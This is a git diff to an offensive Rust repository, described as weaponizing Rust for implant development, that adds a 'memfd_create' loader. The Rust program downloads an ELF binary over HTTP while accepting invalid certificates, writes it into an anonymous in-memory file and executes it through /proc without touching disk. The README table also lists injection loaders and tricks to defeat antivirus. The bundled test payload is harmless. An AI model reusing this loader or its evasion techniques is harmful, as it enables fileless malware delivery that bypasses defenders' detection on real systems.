diff --git a/README.md b/README.md index c14b935..e35426b 100644 --- a/README.md +++ b/README.md @@ -61,6 +61,7 @@ My experiments in weaponizing [Rust](https://www.rust-lang.org/) for implant dev | [Injection_AES_Loader](../master/Injection_AES_Loader/src/main.rs) | NtTestAlert Injection with AES decryption | | [Litcrypt_String_Encryption](../master/Litcrypt_String_Encryption/src/main.rs) | Using the [Litcrypt](https://github.com/anvie/litcrypt.rs) crate to encrypt literal strings at rest and in memory to defeat static AV. | | [Api Hooking](../master/apihooking/src/main.rs) | Api Hooking using detour library | +| [memfd_create](../master/memfd_create/src/main.rs) | Execute payloads from memory using the memfd_create technique | ## Compiling the examples in this repo diff --git a/memfd_create/.gitignore b/memfd_create/.gitignore new file mode 100644 index 0000000..81cf465 --- /dev/null +++ b/memfd_create/.gitignore @@ -0,0 +1,2 @@ +/target +/.vscode diff --git a/memfd_create/Cargo.toml b/memfd_create/Cargo.toml new file mode 100644 index 0000000..afee2c7 --- /dev/null +++ b/memfd_create/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "memfd_create-rs" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +libc = "0.2.126" +reqwest = {version = "0.11.10", features = ["blocking"]} \ No newline at end of file diff --git a/memfd_create/README.md b/memfd_create/README.md new file mode 100644 index 0000000..4232c35 --- /dev/null +++ b/memfd_create/README.md @@ -0,0 +1,9 @@ +# memfd_create-rs + +Load binaries into memory and execute them without touching disk. + +MITRE ID: T1620 + +A simple PoC C code can be found inside `src` folder. + +Main program will download the ELF and execute it from memory using the `memfd_create` technique. \ No newline at end of file diff --git a/memfd_create/src/bar.c b/memfd_create/src/bar.c new file mode 100644 index 0000000..915b802 --- /dev/null +++ b/memfd_create/src/bar.c @@ -0,0 +1,20 @@ +/* +compile and deploit it on a HTTP server: +gcc bar.c bar + +*/ + +#include + +int main() { + FILE *fptr; + + fptr = fopen("/tmp/woot.txt", "w+"); + if (!fptr) { + printf("Something went wrong"); + } + fprintf(fptr, "%s", "hello from memory"); + fclose(fptr); + + return 0; +} \ No newline at end of file diff --git a/memfd_create/src/main.rs b/memfd_create/src/main.rs new file mode 100644 index 0000000..a8097f5 --- /dev/null +++ b/memfd_create/src/main.rs @@ -0,0 +1,46 @@ +use libc::{c_char, execve, getpid, memfd_create, write}; +use reqwest; +use std::ffi::CString; + +fn download_elf() -> Vec { + let url = "http://127.0.0.1:9090/bar"; + let client = reqwest::blocking::Client::builder() + .danger_accept_invalid_certs(true) + .build() + .unwrap(); + let binary = client.get(url).send().unwrap().bytes().unwrap(); + binary.to_vec() +} + +fn main() { + /* casting &str to *const c_char */ + let rs_name: &str = "foo"; + let c_str = CString::new(rs_name).unwrap(); + let c_name = c_str.as_ptr() as *const c_char; + + let elf = download_elf(); + + unsafe { + let c_elf = elf.as_ptr(); + let fd = memfd_create(c_name, 0); + let pid = getpid(); + + println!("[+] PID: {}", pid); + println!("[+] File descriptor: {:?}", fd); + + let written_bytes = write(fd, c_elf as _, elf.len()); + + if written_bytes != 0 { + println!("[+] Memory written!"); + } + + let path = format!("/proc/{}/fd/{}", pid, fd); + let cs_path = CString::new(path).unwrap(); + let c_path = cs_path.as_ptr() as *const c_char; + + println!("[+] Full path at address: {:?}", c_path); + println!("[+] Trying to execute ELF from memory..."); + + execve(c_path, std::ptr::null(), std::ptr::null()); + } +}